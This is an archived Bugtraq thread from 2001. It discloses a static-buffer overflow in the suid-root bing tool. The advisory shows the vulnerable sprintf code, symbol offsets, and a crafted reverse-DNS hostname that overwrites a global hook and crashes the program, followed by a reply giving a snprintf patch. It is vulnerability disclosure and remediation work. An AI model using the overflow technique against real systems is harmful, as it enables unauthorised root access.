5989520 2001-01-19 18:52 +0100  /148 rader/ Paul Starzetz <paul@STARZETZ.DE>
Sänt av: joel@lysator.liu.se
Importerad: 2001-01-22  23:16  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: paul@STARZETZ.DE
Mottagare: Bugtraq (import) <14916>
Ärende: Buffer overflow in bing
------------------------------------------------------------
From: Paul Starzetz <paul@STARZETZ.DE>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <3A687EDB.CCA74F8C@starzetz.de>

1. Abstract:
------------

There is an overflowable buffer in the bing (throughput meassurement
tool) binary.


2. Details:
-----------

The bing tool comes with various Linux distributions. On SuSE (at
least 6.0-6.4) bing isn't installed by default, but if installed it
will be suid root:

4556   54 -r-sr-xr-x   1 root root 54929 Apr  5  1999 /usr/bin/bing


The buffer overflowed is a 80 byte static local buffer:

char *
pr_addr(l)
	u_long l;
{
	struct hostent *hp;
	static char buf[80];

	if ((options & F_NUMERIC) ||
	    !(hp = gethostbyaddr((char *)&l, 4, AF_INET)))
		(void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)&l));
	else
		(void)sprintf(buf, "%s (%s)", hp->h_name,
		    inet_ntoa(*(struct in_addr *)&l));
	return(buf);
}


It is possible to overwrite (look at the objects article) the global
'objects' hook with data comming from gethostbyname.

The attacker must have controll of at least one IN-ADDR.arpa zone, in
order to force gethostbyname() return an arbitrary host name (wouldn't
be too hard I think...)

The impact is obvious, even if the overflow is hard to exploit in
practice. Another difficulty arises from the fussy
gethostbyname(). It may become impossible to supply a host name you
need for successfull exploitation, because gethostbyname would filter
strange characters and reject bogus hostnames. Though, it depends on
the virtual addresses the programm is running at (hm, what about some
run time variables of the malloc-system or preload stuff?)


Looking at the symbol table I found that:

paul@phoenix:~/tmp2/bing > objdump --syms /usr/bin/bing|grep "0804f4"
0804f4ac l     O .bss   00000001 nrand
0804f4a8 l     O .bss   00000004 lastrand
0804f420 l     O .bss   00000050 buf.34
0804f470 l     O .bss   00000004 old_rrlen.37
0804f480 l     O .bss   00000028 old_rr.38
0804f4b0 l     O .bss   00000004 objects
0804f4c0 g     O .bss   0000ffbc outpack

There are 6 variables which we can overwrite, though. The offset from
buf to objects hook is 144 (dec). To demonstrate this set up a bogus
reverse zone with a revptr like this:

"overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil"

AbCd is the place where 'objects' will be overwritten. A simple check
confirms this:

root@phoenix:/var/named > /etc/rc.d/named start
Starting name server.done

root@phoenix:/var/named > host 192.168.100.5
5.100.168.192.IN-ADDR.ARPA domain name pointer
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil

root@phoenix:/var/named > bing -v -e1 -c1 192.168.100.5 192.168.100.5
BING    192.168.100.5 (192.168.100.5) and 192.168.100.5 (192.168.100.5)
        44 and 108 data bytes 52 bytes from
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
(192.168.100.5): Echo Request

116 bytes from
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
(192.168.100.5): Echo Request


--- 192.168.100.5 statistics ---
bytes   out    in   dup  loss   rtt (ms): min       avg       max
   44     1     1          0%           9.621     9.621     9.621
  108     1     1          0%           7.477     7.477     7.477

--- 192.168.100.5 statistics ---
bytes   out    in   dup  loss   rtt (ms): min       avg       max
   44     1     0        100%
  108     1     0        100%

not enough received packets to estimate link characteristics.
resetting after 1 samples.
Segmentation fault

This hapens after bing has finished its work and the libc stuff is
beeing executed:

root@phoenix:/var/named > gdb /usr/local/bing
GNU gdb 4.17.0.11 with Linux support

(gdb) set args -v -e1 -c1 192.168.100.5 192.168.100.5 (gdb) run
Starting program: /usr/bin/bing -v -e1 -c1 192.168.100.5
192.168.100.5 .  .  Program received signal SIGSEGV, Segmentation
fault.  0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at
./frame.c:581

(gdb) bt
#0  0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at
./frame.c:581
#1  0x8048d01 in __do_global_dtors_aux ()
#2  0x804cf55 in _fini ()
#3  0x400320f5 in exit (status=0) at exit.c:55


3. Impact:
----------

On systems with suid /usr/bin/ping it may be possible under certain
circumstances to gain root priviledges.


4. Solution:
------------

chmod 700 /usr/bin/bing


--
Paul Starzetz
(5989520) --------------------------------(Ombruten)
Kommentar i text 5989812 av Pierre Beyssac <pb@FASTERIX.FREENIX.ORG>
5989812 2001-01-19 20:30 +0100  /40 rader/ Pierre Beyssac <pb@FASTERIX.FREENIX.ORG>
Sänt av: joel@lysator.liu.se
Importerad: 2001-01-23  01:17  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: pb@FASTERIX.FREENIX.ORG
Mottagare: Bugtraq (import) <14927>
Kommentar till text 5989520 av Paul Starzetz <paul@STARZETZ.DE>
Ärende: Re: Buffer overflow in bing
------------------------------------------------------------
From: Pierre Beyssac <pb@FASTERIX.FREENIX.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20010119203001.A8935@fasterix.frmug.org>

On Fri, Jan 19, 2001 at 06:52:27PM +0100, Paul Starzetz wrote:
> The buffer overflowed is a 80 byte static local buffer:
> 	static char buf[80];

It is patched by default in FreeBSD's package collection. Here's
the patch below (author: jseger@freebsd.org).

I have also issued a bugfix release including this patch, available
from http://www.freenix.org/reseau/bing-1.0.5.tar.gz

--- bing.c.orig	Thu Jul 20 16:45:32 1995
+++ bing.c	Sat Mar  4 16:13:05 2000
@@ -718,13 +718,13 @@
 	u_long l;
 {
 	struct hostent *hp;
-	static char buf[80];
+	static char buf[MAXHOSTNAMELEN+19];

 	if ((options & F_NUMERIC) ||
 	    !(hp = gethostbyaddr((char *)&l, 4, AF_INET)))
-		(void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)&l));
+		(void)snprintf(buf, sizeof(buf), "%s", inet_ntoa(*(struct in_addr *)&l));
 	else
-		(void)sprintf(buf, "%s (%s)", hp->h_name,
+		(void)snprintf(buf, sizeof(buf), "%s (%s)", hp->h_name,
 		    inet_ntoa(*(struct in_addr *)&l));
 	return(buf);
 }

--
Pierre Beyssac	      pb@fasterix.frmug.org pb@fasterix.freenix.org
      Linux : ceux qui n'adorent pas sont forcément des cons
    Free domains: http://www.eu.org/ or mail dns-manager@EU.org
(5989812) ------------------------------------------